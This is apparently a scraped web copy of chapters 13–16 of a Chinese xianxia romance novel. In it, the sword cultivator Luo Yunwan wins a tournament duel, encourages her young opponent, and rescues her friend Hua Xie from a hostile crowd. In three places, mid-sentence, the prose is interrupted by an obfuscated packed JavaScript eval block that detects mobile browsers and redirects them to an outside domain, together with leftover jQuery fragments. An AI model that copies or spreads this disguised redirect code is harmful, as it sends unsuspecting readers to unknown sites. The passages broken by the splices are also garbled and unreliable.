合欢宗黑衫长长的衣摆扫过他的鞋底,紧接着是沉重而规律的脚步声逐渐远去。 “啧。”花榭冷哼一声,眸子暗了暗。 他那日见到临仙剑宗的大师兄谢逍白时便一眼就看出来了,洛云晚和他的关系很好;而他当初也告诉过她,自己和同门“关系一般,不太了解”。 说出这话后,他笑洛云晚太过信任自己,不过自己也不知道说出的这番话有几分真假。 毕竟,他的同门不会和他一起出去吃烤鸡,也不会和他说那些再平常不过的玩笑话。 罢了。 花榭垂眸轻笑一声,召出荧蓝色的通讯法器,又翻出洛云晚的赛程表。 “论剑大会四强争夺赛第三轮:洛云晚对阵叶絮之,今日申时开赛。” 她今日也有比赛啊。 花榭纤长的手指尖在法器前停留踟蹰许久,潋滟的眸子流光一转,又将法器收起了。 …… “叶絮之?”洛云晚的目光从手中荧蓝色的法器上移开,抬眼又看向身前人,“是你?” “对呀对呀!”个子小小的剑修踮起脚来,清澈的眼睛里闪着亮晶晶的光,“洛师姐我是你偶像——啊呸呸!你是我偶像!我们前几日见过的,你还坐我身边!” “……”洛云晚眼神一转想起来了,一切都想起来了。 几天前在寻味坊吃的那顿晚餐是由镇山派的带队师兄王海请的客,而晚餐时坐在她身边的、将她视作自己榜样的,便是眼前的这一位女剑修。 洛云晚还想起来了,当晚她唯一偷偷夹起的那一块水晶鲈鱼卷最后正是进了这位小剑修的肚子里。 只因镇山派的名气并不大,她本以为眼前激动的小剑修只是刚入门的修士,却是没想到她会成为自己四强赛的对手。 先前她在后山和杨胖子他们赌赛时看过叶絮之的对决,自己在赛前也和剑宗同门研究过对手的出招,只是从来没特意记过选手的门派,竟然也没有将她与饭局上那位矮矮小小的剑修对上号。 或许是当初那顿饭吃得洛云晚太憋屈了,根本没心思去关注周围人的动态,对于在场修士的面容也是看过便忘记得差不多了。 原来是她。 此下见她面露恍然之色,叶絮之“嘿嘿”笑了两声,用手挠挠后脑勺:“也许是我拍参赛照时憋了个喷嚏,最后五官有点扭曲吧,不过真是我本人!” 洛云晚闻言也点开叶絮之的页面看了看,小姑娘鹅蛋脸上的五官微微皱起,看上去有些愠色,她本以为对方这是剑修的傲气,可如今听她的话一想,倒还真更像是打喷嚏前的面部表情。 她又看了一眼现在面前的叶絮之,小剑修的五官舒展开来,稚嫩的神情中还带有几分英气飒爽,雀跃又生动,简直判若两人。 临仙派的人脸采集负责人也忒不讲情理,等人家打完喷嚏再录怎么了! 洛云晚脑中替叶絮之愤慨了一番,嘴角也略微勾起一个笑来,轻声道:“认出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379246|168287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你了,此前看过你的对决,竟是这般厉害。” “真的吗!”叶絮之睁大眼睛,继而手指又紧紧攥住身前衣摆,脸颊也薄红了些,连声道,“嘿嘿其实是我走狗屎运啦,匹配的对手不是正好剑招被我克制,便是之前对决受了伤状态不好,我这也是捡漏才爬进八强的啦……” 她面对着洛云晚,说着说着又有些不好意思,左手无措地挠挠后脑勺。洛云晚看出来了,这是她紧张无措时惯用的小动作。 这时又有一个男人的声音加入进来,打着哈哈说道:“是啊,叶师妹都是狗运。” 洛云晚看去,才发现是那日请客的镇山派带队师兄王海。 王海身着一身黄袍,面露恭敬之色踏入备战室,对洛云晚行过一礼又道:“师妹那只是运气好才进的八强,与洛道友的修为比起来都是儿戏罢了。” 那叶絮之听了自家带队师兄的话,眨眨眼睛,嘴角也滞了滞,讪讪笑了两声道:“哈哈,王师兄所言没错,我确实……” 叶絮之的话音未落就一道清冷淡漠的声音打断:“怎么没错?” 她睁大眼睛抬头去看,望进洛云晚低头时深墨色的眼瞳。 她眼中神色流转,被鬓边碎发略略遮掩的嘴角似乎上扬了些,右手按住身侧佩剑,淡声道:“你确实修为不高?还是确实运气很好?那你如今对上我,算是如何?” “啊,我……”叶絮之呆了呆,张口却结结巴巴说不出话。 王海连忙接嘴道:“师妹她资历尚浅,与洛道友相比的确不算修为高深。” 叶絮之闻言又垂下脑袋,低声道:“是、是这样……” 洛云晚没接她的话,只是转头看向王海,冷声问他:“你是剑修么?” “啊……”王海被她猝不及防的问话惊得一愣,又摇头道,“在下并非。” ……外行不懂别瞎指教。 洛云晚闻言便转身不再看他,只是对叶絮之说道:“我方才不是说过么,看过你的对决,你很厉害。” 叶絮之唰地抬起头看她,眼神晃了晃。 “你若说是运气获胜,那于你的对手而言不更是侮辱?”洛云晚又道,“你很像当初的我,不过我像你这般年纪时还在后山砍柴拿木桩练剑招呢。” 其实她撒谎了,不是她去后山砍的树桩,是二师兄柳随那个死剑痴。 不过她自心底觉得叶絮之比当年的她更厉害些,毕竟她是被捡进修仙大派的剑宗里,而对方出自名气不大的镇山派。 洛云晚望着叶絮之闪着水光的眼瞳,忍不住上手摸了摸她被挠得毛躁的脑袋,柔软的,厚实的。 在对方呆滞的神情中,她晃晃脑袋,身后高高束起的马尾也跟着摇晃,声音肆意:“莫要妄自菲薄失去信心好么?试试看,战胜我。” 话音落下,备战室外锣鼓一鸣,传来长老的一声入场高呼。 洛云晚迎着日光迈步,刚走一步又想起什么似的,回过头来对叶絮之眨眨眼:“你知道剑修一辈子要守护的最重要的东西是什么吗?” 叶絮之捏捏衣摆,抿抿嘴唇,又铿锵道:“我知道了洛师姐,是自信!” “不,”洛云晚逆着光冲她挥手跃上擂台,轻笑道,“是厚脸皮。” 14. 第14章 日光斜照,暖融的热气打在洛云晚的背上,映着她持剑的影子在擂台地板上拉得狭长。 台下的观众依旧很多,她从看台中修士们嘈杂的声音中听得一些零散的词句,有人佩服她上一次利落凌厉的剑招,也有人称赞叶絮之的崭露头角。 “这场应该没有悬念了,我押洛云晚胜!” “的确,洛师姐上一场的对决看得在下好生过瘾,真是快哉快哉!” “那我偏要反买,就赌一手叶絮之胜。” “这位叶道友其实也挺厉害的,虽然八强赛因为对手旧伤未愈而险胜,但她可是一步步硬生生从百余人中打出来的!” “她什么门派的?哦,镇山派?先前真没听过呢。嚯,落魄门派的草根剑修干掉名门正派保送生的剧情,好爽快,我喜欢!” “……”最后说话那人的位置距离擂台颇近,他编写的剧本一字不落地落入了洛云晚的耳朵,听得她这个“保送生”不禁也乐了起来。 具有打脸作用的反派角色么,有点意思。 “论剑大会四强争夺赛第三轮——”剑宗的明静小师叔面露威严之色,高声道,“开赛!” 洛云晚嘴角的笑意淡去,当即右脚后撤,屈身持剑,长剑寒芒一闪,“簌”地猛冲向前突刺! 破空的冷风横扫过她的脸颊,翻飞起飘扬的发丝。 “铛——” 剑刃相持,震动的嗡鸣让她掌心一麻,洛云晚又飞速调换招式,再次出击。 她今日的打法与上一场并不相同,从被动接招转为了主动出手,招式利落有劲,剑气冷冽破空,出招反应极其快,令人看不清动作。 “咳……”叶絮之后退几步,抬手抹了一把额头细密的汗珠,胸口止不住起伏。 她连连接招,又苦笑着高喊:“洛师姐——下手也太狠了吧——” 虽是嘴上这般说,叶絮之身体的动作却丝毫未减,甚至趁着自己出声的间隙,将本命剑在手中一转,亮银色的剑锋直直破出,擦着洛云晚的衣袂惊险而过。 你不也挺狠心的吗小剑修!这么对自己的偶像! 洛云晚侧身闪过剑招,与叶絮之擦身时斜斜看着她的侧脸,挑眉沉声道:“没忘记我说的话吧。” “诶?”极其轻的话语声打在她的耳边,叶絮之一愣,下一瞬间,身侧冷风一扫,她速速转身,重新与洛云晚相对而立。 面前高挑清瘦的白衣剑修站定身子,玄色本命剑斜斜点地,高马尾还因方才的疾风而絮絮飘扬。她的神情冷淡,看向她的眼神中却闪烁着意气的神采。 “你很厉害。试试看,战胜我。” 叶絮之的脑海里猝不及防闪过洛云晚在备战室平静的话语声,以及她认真的神情。 她想让她记起的应该就是这句话。叶絮之想。 作为一位剑修,她能站在论剑大会的擂台上,面对的对手是临仙剑宗的天才剑修,自己完全可以称得上一声“厉害”。 叶絮之的神情沉了下来,英气的眼睛一凝,脚尖踮起,手中亮银色长剑闪过锋芒。 她是镇山派唯一通过了海选试炼参加论剑大会的剑修,此前全门派都将希望寄托在她师弟身上,认为她个子小对剑招训练更为苛刻,加之她是一名女修,宗门剑法与她并不适配,所以没人认为她能走多远。 但是她如今挺进了四强赛。 方才的思绪只是一瞬,叶絮之嘴角扬起,黄袍被风吹得翩飞,矮矮小小的身子站得挺直,手中银剑漫出“滋滋”的电光。 “洛师姐,”叶絮之踮脚跃起,对她正了正神色,“我会尽全力的。” 亮银色的长剑电光闪烁,此刻恰似月下清辉,流转招式又凌厉迅捷,重重剑影逼向对手,难辨虚实。 “唰”,长剑削去一截冷白翩飞的衣袖,又利落地收回。 “这是?!” “洛云晚居然落了下风!” “好厉害的剑招!小叶师妹真有两把刷子啊!”五六个黄袍修士聚集在看台一侧的角落,均激动地捏紧衣摆,有位女修两眼放光高声说道。 “追月剑。”身着黄袍侧身握剑的男修点点头,“师姐这招学得极为透彻,恐怕师傅都没有想到罢。” “……嗯。”被修士们簇拥在中间的王海眉头舒展开,嘴角也露出一抹赞赏的笑容,“各位,先前是王某说得不对了,今日这场比试无论最终结果如何,大家都记得好生夸赞一下小叶师妹。” “当然!小叶师妹可是咱镇山派之光!” “一定一定!” 镇山派弟子纷纷接话道。 …… 不知又燃尽了几炷香,擂台上白衣与黄袍交相辉映你来我往,看得台下看客一阵眼花缭乱。 最后,洛云晚玄色长剑一扫,趁着破空的剑风抵在叶絮之的脖颈处。 两人的身形好似凝住,簌簌风声里,洛云晚神情淡漠右手抬起,被削断一截的衣袖残缺地在身前飘舞;叶絮之用剑从下方强抵着她的剑刃,垂眼看去,喉管颤动吞咽一声,低声道:“是我败了。” 明静师叔挥袖:“洛云晚胜!” 没等台下的欢呼鼓掌声响起,她严肃的神情又柔和些,拉开相持的二人,低头拍了拍叶絮之的肩,小声道:“不错。” 作为大比的裁判,明静知晓自己此番做法略有出格,但她作为剑修老前辈,是发自内心地为眼前小姑娘的韧性所触动。她也在对决中看出来了,是自家这个小师侄有意带动对方的拼劲,才战得这般酣畅淋漓。 “啊!”叶絮之惊诧,手足无措道,“多谢前辈!” 明静朝她略微笑笑,又转头看向洛云晚,抿唇指了指她,似乎在告诫她下回不许再做这种事。 洛云晚连忙卖乖,“诶好好”就应了去。 …… “洛师姐!” 洛云晚本来正打算从擂台背后偷偷逃走,却又被一道雀跃兴奋的女声叫住。 她回头,束起的马尾扫过脸颊,看清叫她的人是叶絮之,身后还跟了几个黄袍的镇山派弟子。 叶絮之矮矮小小的身形在青葱的藤枝下站得笔直,身后背着的长剑都快高出她一个脑袋。 她将双手藏在背后,“嗒嗒嗒”小步跑过来,仍存稚嫩的英气脸蛋上扬起一个生机十足的笑容,眼神与那日夜里坐在她身侧看她时完全一致,亮晶晶的,眼底尽是崇拜之色。 不愧是吃了她一块嫩得流油的水晶鲈鱼卷的小粉丝。 洛云晚神情也柔和了些,想着自己还贴了一层“无情道”的人设,便只是略略开口,问她道:“叶师妹,何事?” “这个,”叶絮之从身后“唰”地掏出一顶轻若烟云飘飘的白纱帷帽,踮脚举给她,“我前些日为你做了一顶,想着师姐你修了无情道,又是白衣仙袍,很是般配!” 洛云晚低头看去,雪色帷帽边垂落了朦胧透光的白纱,既见犹隐,飘然出尘;微风掠过,轻纱翩然翻飞,貌似浮云。 她也有些意外地呆了呆。 此前从未有人送过她这些饰物,她也从没觉得自己会与此般缥缈出尘之物般配。 她一直以为自己就和酒葫芦很搭呢。 “嗯,多谢。”洛云晚接过叶絮之手里的帷帽,又忍不住伸手揉了揉她的脑袋,“仙门大比还有好些天,想与我切磋剑法可以到后山寻我。” 叶絮之闻言脸颊又是爆红,张着嘴结巴了好一阵,什么话也没说出来。 像是看出了她离开之意,身后的王海主动上前揽过叶絮之的肩,又对洛云晚好言道:“多谢洛道友,小叶师妹今日收获颇丰,在下打算与同门一起庆祝庆祝呢!” 洛云晚见他神色真诚,便也轻轻点头。 …… “哦——怎么戴了顶纱帽?”仙法对决场地边,洛云晚头上戴着叶絮之送的白纱帷帽,斜斜靠在一棵老树边,神情懒散地听谢逍白的声音。 末了,洛云晚挑眉淡淡问:“你觉得怎么样?” 谢逍白吊儿郎当的面容从通讯法器里映出来,他闻言眯起狐狸眼,坦然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385453|168287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑道:“炫。” 洛云晚的面容略略被白纱遮盖,她嘴角也勾起来,嬉笑道:“嘿嘿,师妹送我的,你没有吧?” “嗯?”谢逍白挑眉,转头又问,“小鸢你什么时候送你师姐帽子了?” 法器那头传来贺鸢冷冰冰又稚嫩的声音:“我没有。” 洛云晚看够了热闹便开口道:“不是小鸢,是另外的师妹。” 谢逍白又把画面对准自己,眯眼看洛云晚:“你哪来什么另外的师妹?” 洛云晚:“你别管。” 谢逍白:“……” 他嘴角抽了抽,又想起还没交代的话题道:“快些回来,今晚师尊为你准备了庆功宴,有你最爱的清蒸鲈鱼。我没来看你对决都是因为在后厨忙着烧菜呢。” “哦哟。”洛云晚声音抬高了一个度,“师尊喝假酒了?四强赛还庆功呢?” “师尊想鼓励鼓励你嘛,”谢逍白说罢,眼睛一转,又淡淡道,“好吧,其实是他和明远师伯打牌赢了钱买了些好吃的,顺便给你庆祝庆祝。” 洛云晚:…… 关掉通讯法器,洛云晚闲闲站起身来,又往仙法对决的擂台走去。 方才耽误了些,也不知道花榭的对决结束没。 他虽然没有告诉她今日比赛之事,但洛云晚想着小少爷上回都来看过她了,这回怎么说也得来看看。 而且她还有些期待看见花榭在擂台上掐法诀的模样。 神情应该是极其生动肆意。 …… 洛云晚没想到,他们已经比完了。 她站在看台边,看面容各异的修士们层层围堵,将擂台边最角落的人围得密不透风。人群喧闹嘈杂,你一言我一语,她离得远远的,什么也听不清。 有些像前日她和陈见山那一场比完之后。 她有些来了兴趣,想凑近听听他们究竟围着花榭在问些什么,难不成合欢宗的八卦就这般有意思? 洛云晚走过去拉住一个女修,问:“这是在干嘛?” 那女修抬眼上下打量了她一番,偏偏她的面容隐在垂落的白纱中,看不真切;女修瘪了瘪嘴,没好气道:“当然是给陆师兄讨个说法咯!那合欢宗的小人不讲武德,在对决上中伤了陆师兄不说,还出言不逊,好生歹毒!” “是呀!”旁边的修士一听也来了火,怒骂道,“那花榭本就是个奸险小人,他还好意思说是陆师兄侮辱在先,我呸!他们合欢宗是什么好东西吗,依我说,这次仙门大比就不该让他们参加!” 洛云晚听罢,神情冷淡道:“那你该去与临仙派掌门说,在这将人堵着能讨到什么说法,而且若是他所言为真呢?” 身旁一位男修怒目瞪了她一眼,叫骂道:“关你什么事啊?管是谁先侮辱谁,反正老子就是看不惯花榭怎么了?他个合欢宗的能算什么正道!” “……”洛云晚的帷帽被吹得翩飞,她冷着神情没再回答。 那男修以为她被骂得哑口无言,神色得意眯眼扫视她一番,又邪笑开口:“我看你这样子,莫非……” 话音未落,他却被洛云晚侧身挤得一踉跄,又听见一声冷淡漠然的声音:“让开。” 他“呸”了一口,再起身想要抓住她,却见那道白衣在人群中穿梭消失了。 …… “本少爷说了,”花榭斜斜靠在擂台边,艳色的桃花眼眯起,声音平淡不惊,“问心无愧,为何要道歉?” 耳边又是一阵喧哗嘈杂,指向他的手指和人群中愤怒的神情交错在一起,看着像失了人形。 花榭眼神暗沉,嘴角却浅浅挂着一抹笑,张口又欲讥讽。 还未出声,人群中浮出一抹冷白色。 那道身影挤开唾沫横飞的众多修士,直接扯住他的手腕往外拉去,周身冷冽的剑气逼得众人连连散开。 花榭的手腕被她横握住,脚步一踉跄。 手腕处温热的触感令他心神一滞,花榭抬眸,颤动的眼瞳中只能看见遮住那人神情的翩飞白纱。 15. 第15章 花榭的眼眸流光一转,方才的话未来得及说便被硬生生咽下,艳色殷红的唇瓣微微张着,整个人就呆呆地被身前的人牵走。 他的头发在方才的对决中散开了,乱乱地搭在肩上,此刻依着他被牵动的步子而在脑后飘飞。 围得密集的修士岂能眼睁睁看着他被带走,稍微体面点的就指着他叫骂“歹毒小人”,性子急的就上手想要把他拉住,嘴里直直叫嚷着:“站住!话没说——” 话音未及人身侧,就听“簌”的一道寒意气场展露,令他周身发冷,硬是不自觉后退了几步。 那男修心下一惊,转眼又看牵他走的那人,却对上白纱帷帽下一双冷色暗沉的眼睛,竟是让他生出可怖的感觉来。 洛云晚沉着脸一手紧紧攥着花榭的手腕,另一只手按在腰间的玄色长剑上,帷帽上的白纱翩飞露出她抿起的唇瓣。 “都让开。”她冷淡开口,寒霜般的剑气外显萦绕在周身,逼着众多挑事的修士纷纷后退去,给她让了路。 她的步子迈得很大,道路通畅后走得也是极快,花榭被牵着踉跄一步,又小跑着跟上,合欢宗的黑衫衣摆如同翩飞的蝴蝶划过身侧。 他眼神颤动着,忍不住仰头开口问:“你怎么来了?” 洛云晚回头斜瞄了他一眼,又推开挤在身旁的修士,淡淡道:“想来就来了。” 她倒还有点想知道自己若是没有过来,那小少爷最后能把这档事处理成什么样。 不过看样子也好不到哪去。 花榭咬唇,抬头又去望她,视线却仍然被转头时飞扬的轻纱遮住,晃动的马尾和飘扬的白纱掠过他的脸颊,那人不由分说地牵着他从人群中闯出一条路来。 花榭一时间竟是有些不敢再看她,慌乱地垂下眸子小步跟上她的步伐。 而垂眸的刹那,又看见那只紧紧握在他腕间的手。 她的手掌极其轻易便圈住了他纤细的腕骨,指尖习武之人常有的薄茧在牵动时无意摩挲过他的皮肤。她攥着他的力道极大,骨节分明的指节微微凸起,映出手背蜿蜒的淡青血管。 手腕被紧握的灼烧感令花榭匆忙别开了脑袋。 周遭的修士怒气还未消退,嘈杂的声音纷纷挤进他的耳朵。若是换做平常,他绝对忍不下这口气,可如今被洛云晚强行拽着,他混乱的心神却像是听不见这些责骂了一般。 直到,他与一位修士擦身而过时,听见她似是恍然似是惊疑的声音—— “那不会是洛云晚吧?” 花榭心下一愣,然后修士的议论声便不受控制地一并清晰传入他的耳中: “临仙派的人怎会与合欢宗走这么近?” “看着像,花榭竟与她交好吗?” “这洛云晚不是修了无情道么?她干嘛插手这种事?” “……”花榭起伏的呼吸一滞,步子顿住。 洛云晚一边迈步一边又扯了扯他,却发现没扯动,疑惑回头望他:“嗯?” 花谢上挑的眼尾泛红,仰起水光潋滟的眸子望着她,紧咬着唇瓣一句话不说,只是伸手去掰她握在腕间的手指。 ?别整啊小少爷,好不容易才把你拉出来,又闹什么脾气。 洛云晚不知道他在想些什么,眼下没理会他的动作,手指一紧,重新牢牢环住他的纤细的手腕,转头又迈步。 身后的人被她的力道强制拉过去,急促的脚步声中,按在她手指上的温热触感也消失不复。 还挺乖的。 洛云晚没多想,她只是牵着花榭,一心赞叹自己的抉择很正确。 从人群中挤出去就该用点法诀把人逼退嘛,多从容多潇洒;那天小师妹贺鸢可不是这样,她是硬生生抓着洛云晚的袖子给她扯出来的,把她挤得都快像一张鞋垫。 …… “停……停下,”花榭喘着气断断续续道,“他们没跟过来了……” 洛云晚闻言停下脚步回头看他,方才走得太快,她作为剑修的身体素质自然是没问题,只是一时间没有考虑到花榭的情况。 风吹得头顶的白纱轻晃,在她垂眸的视线中,花榭又快走了几步,漂亮的脸蛋漫上晕红,此刻唇瓣微张,吐息中夹带着细微的轻喘。 见她看过来,花榭仰起头,水色的眸子中颤动着流光,声音也是抖着的,尾音轻轻:“你不该带我走的……” “为何?”洛云晚挑眉,平静问,“站那儿听他们围攻有什么意思,直接走啊。” 花榭胸口起伏道:“本少爷又不是没经历过,他们骂不过我的。” 哦,合着还是她多此一举了呗。 洛云晚瞧了他一眼,左手却突然使力,牵着花谢的手腕抬高将他拽至自己身前,沉沉的眸子注视着他,开口问:“难道你享受这样的过程?” “……”花榭猝不及防被拽着手腕拉过来,脚步一乱差点儿扑入她怀里,隔着呼吸之间的距离,他望着洛云晚,神情完全愣住。 ……仰起头像漂亮又呆滞的小猫。 掌心里握着的手腕抽动了一下,随后,洛云晚感觉自己的肩膀被人锤了一下,力道不重。 “你放开啊……”花榭脸颊绯红,眼瞳润得快溢出水来,咬唇又锤她,“我、我是因为你才这么说的……” 洛云晚禁锢住乱动的手腕,又问:“因为我?” 关她什么事啊! 花榭抽动手腕无果后,偏开脑袋,闷声道:“你知道自己被人认出来了么?消息传开你的风评会变成什么样你考虑过吗?” “哦……”洛云晚拉长声音应了一声,方才知晓事情始末,又极为平常道,“我没刻意隐藏,也不在意风评,我只是不愿看自己朋友陷入这般处境。” 小样儿,这话还不把你感动得稀里哗啦。 洛云晚隐在白纱下的嘴角略微扬起,又盯着花榭水润的桃花眼看。 倒不是刻意为了拉高他的好感度,只是她洛云晚的的确确就是这样的人。她将花榭视为好友,便不会在对方被人围攻辱骂时视之不见。 她是个很随性的人,可以凭借内心感情与名声并不好的花榭交往,可以因为看见叶絮之眼里闪过的意气就在论剑时拉她一手,那自然也可以因为不愿看花榭被众人恶语相向就拉他走。 “……”花榭闻言身子一顿,本该锤在她肩上的拳头却软软落下,埋着头低声道,“你们无情道没斩断友情么……” “……哈。”洛云晚被他莫名的问题问得憋不住笑了一声,转而又胡扯道,“我还没到那个境界,不必斩断。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388712|168287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 好吧,其实真相是她根本不知道这回事。贺鸢的心法卷轴她只是借来几天应付翻了翻,拿着“杀夫证道”的幌子骗骗人罢了;再不济,看小师妹乖乖的样子,平时有好处还不是想着她这个师姐,没有因为什么无情道而和她冷了关系。 见花榭闷闷应声,洛云晚便松开了握着的手。 少年的手腕承力垂下,腕间已然被她捏得起了一圈薄红,在白皙的皮肤上如同红梅映雪。 怎么这么容易留印子啊。 洛云晚局促转开目光,丝毫不承认是自己攥得太紧的缘故。 花榭和她拉开了些距离,伸手捂住腕上的红印,用自己纤白修长的手指将其覆盖,低低又问了一声:“你方才听他们怎么说我了?” 洛云晚道:“有人说你对决时伤了对手,然后还骂了他;不过也有人说是他先骂的你。” “嗯,”花榭侧身道,“我的确做了这些事,他们占理,你不该出手的。” “那咋了。”洛云晚靠着树干,随手摘了一片叶子放在手中把玩,淡淡道,“莫非我是什么正道之光,只能做规矩讲理之事不成?” 开玩笑,她洛云晚在伪装无情道之前算得上门派数一数二的乐子人,动不动就踹人屁股偷吃仙果,哪还在意这种事,只是近期为了宗门招生的形象略有收敛罢了。 花榭闻言也略略勾起嘴角,轻声道:“我若告诉你是因为陆奉先以合欢心法侮辱我,我才出手伤了他,你信我么?” “这么坏啊,那个陆奉。”洛云晚道,“下次最好让我在路上遇见他,包揍得他屁滚尿流。” “……呵呵。”花榭抬手掩着唇瓣笑得身子都轻轻颤抖,眉目也舒展开来,“你们剑修还能打架呀。” “我说过的,”洛云晚眼珠子一转,张口就来,“我以前是体修,三岁打死过老虎。” 花榭:…… 洛云晚见他漂亮的眼睛又嗔怒地瞪着她,神情比春日桃花更加生动,心下一痒,也上手揉了揉他凌乱的发顶。 “哎!”花榭呆滞眨眨眼睛,脸颊通红惊叫一声,“本、本少爷让你摸了吗……” 洛云晚眯眼,正欲说些什么,腰间的通讯法器却是一震。 她转身疑惑唤醒,师尊明虚真人乐呵乐呵捋着胡子的映像就传了过来:“呵呵,怎么还没回来呐小云晚?这么久没尝师傅的手艺都不激动吗?” “诶……”洛云晚悄悄回头看了一眼花榭,对师尊面露难色道,“师傅……徒儿今晚不回来吃饭了,刚刚见了个朋友,打算和他去吃。” 说罢,她抬眼瘪嘴,装出一副委屈可怜样。 “那不是正好么?”谁料明虚真人眼睛眯起,抬头纹爬上额头,高声就招呼道,“哎,小云晚的朋友,过来过来,一起吃她的庆功宴啊!” 洛云晚满脸黑线:师傅您老也忒热情好客了吧…… 她正转头想看花榭的反应,目光所及之处却看见了另外一道身着墨黑长袍的身影。 那人分明穿着合欢宗的衣袍,却将衣领系得严实规矩,遮掩住脖颈以下全部肌肤。他的面容分明颇为俊俏,却淡漠阴沉,不生波澜。 对上她的目光,那男人沉沉抬眼,冷哼了一声。 洛云晚:?你谁。 16. 第16章 洛云晚心中正疑惑眼前男人的身份,那边花榭却双手环抱着,神色不善开口道:“师兄倒是来得巧了。” 那黑衣男子,也就是徐鹤卿面色不改,声音沉沉应道:“不巧。若是真巧,应该在师弟你闯祸之前就来。” 花榭嘴角抽了抽。 洛云晚更是在一旁听得目瞪口呆。 哇塞哇塞,你们宗门师兄弟一个个都是阴阳师啊,说话这么阴阳怪气! 思绪纷飞,她又听见花榭嗤笑一声道:“你若是那时来了,又想做什么呢?跳上台来制止我?还是站在台下默不作声,听那些人骂我、骂合欢宗?” 他漂亮的脸蛋上绽开一个凉薄又讥讽的笑,翩飞的黑发扫过脸颊,带走了方才与她交谈时的薄红。 徐鹤卿规矩整洁的衣袖一挥,冷哼一声。 洛云晚本来看他们师兄弟见了面说个不停,以为花榭顾不上她的事,便把师尊的邀约咽进了肚子里,准备抽个他们阴阳对方累了的空挡交代一声然后溜走。 计划是这样做的没错,但现实…… 她像做贼一样刚一转身,嘴里的说辞还没冒出来,就听那徐鹤卿师兄冷声呵道:“站住。” ? 洛云晚犹犹豫豫转回身子,歪头反手用手指着自己,轻声疑惑道:“我……吗?” “哼。”徐鹤卿冷着脸色快步走过来,同时眼睛眯起,不动声色地上下打量,又冷声开口道,“你是临仙剑宗的?” 洛云晚想他应该是认出了自己身上的白袍校服以及她腰间佩戴的剑,因不知其来意,又想着这人是花榭师兄,便好声应道:“对,师兄好。” 她抬眼,视线被自己帷帽上飘扬的白纱遮挡住一大半,看不清身前人眼里的情绪,只能见得他抿得绷成一条线的嘴唇,和严实扣紧的墨黑衣衫,还有外袍下穿的一层遮到下巴边的紧身黑衣。 明明是同一个样式的衣服,花榭穿在身上却和他是完全不同的味道。花榭几乎从不扣上脖颈,翻飞的衣领如蝶翼垂落,露出纤细脆弱的皮肤,他的衣衫也穿得松垮,偶尔抬手时会露出自己细巧冷白的手腕,灵动得像只小猫。 洛云晚的脑子不经意恍了神,直到她又听见那男人不带一丝波澜的声音:“……哼,谁是你师兄。” ?给你面子而已,你还当真了啊! 洛云晚自打在看台边听了那些修士的话就憋着一肚子气,如今还被人面色不善攻击了,她越忍越气,一边在心里念叨“这是花榭师兄不能骂”,一边也冷了脸道:“那我怎么称呼?人,你好?” 徐鹤卿:…… 他难得噎了一下,严肃抿了抿唇,声音更冷:“不论你是如何与花榭相识,但今日之事,你做得并不妥当。” “我看不下去自己好友被人指着鼻子骂。”洛云晚仰头直面他的视线,淡声问,“你觉得什么才算得上一声‘妥当’?” 洛云晚透过帷帽白纱间的缝隙,瞧见徐鹤卿冰冷的神情。他浓黑的剑眉微微蹙起,眉心生出两道竖纹;深邃的眸子冷清,低垂着映出她被白纱遮住的模样;整张脸完全称得上俊朗,眉间却如生冰雪般让人退却。 啧……这哥们修了无情道吧,比她装出来的样子还吓人。 不对。 合欢宗的怎么会修无情道。 趁着她脑子发蒙的时机,徐鹤卿拂袖转身:“师弟,与我回去,此事需要合欢宗给个交代。” 林影摇曳中,花榭抬手理过自己纷飞的发丝,衣袖垂落在臂弯,风也吹得衣摆飘扬。他漂亮的眼瞳颤了颤,又咬唇:“我不愿。” 徐鹤卿冷脸,上手欲扯过他的衣袖:“这无关你的意愿……” “唰”—— 他的动作落了空。 在徐鹤卿略微惊诧的抬眸中,他看见那道白衣身影不由分说地拉过花榭的袖口,将他挡在身后。 “不急这一时,”他听见眼前的剑修冷冰冰说道,“我师尊喊他过来吃饭。要是惹了明虚真人不喜,看他明日削了你们宗门。” …… “阿嚏!”明虚真人背过身子打了一个大大的喷嚏,惹得手中的大碗鸡汤都不幸洒出了几滴,他连忙将汤碗摆到桌上,转眼又乐呵道,“不知怎的,一连打了好些个喷嚏,莫非老夫也有人记挂不成,呵呵……咯,来者皆是客,快坐快坐!” 洛云晚尴尬抬眼仰头望天,生怕师傅眼尖看出了自己的心虚。 一旁胖墩墩的明远师伯也笑眯了眼招呼道:“许久未见,小云晚剑术愈加精进了呢,真希望我们家小杨能把好耍的心性用在修炼上。” 明远师伯是符宗的宗主,胖墩杨师弟作为他的徒弟简直是一个模子里刻出来的。 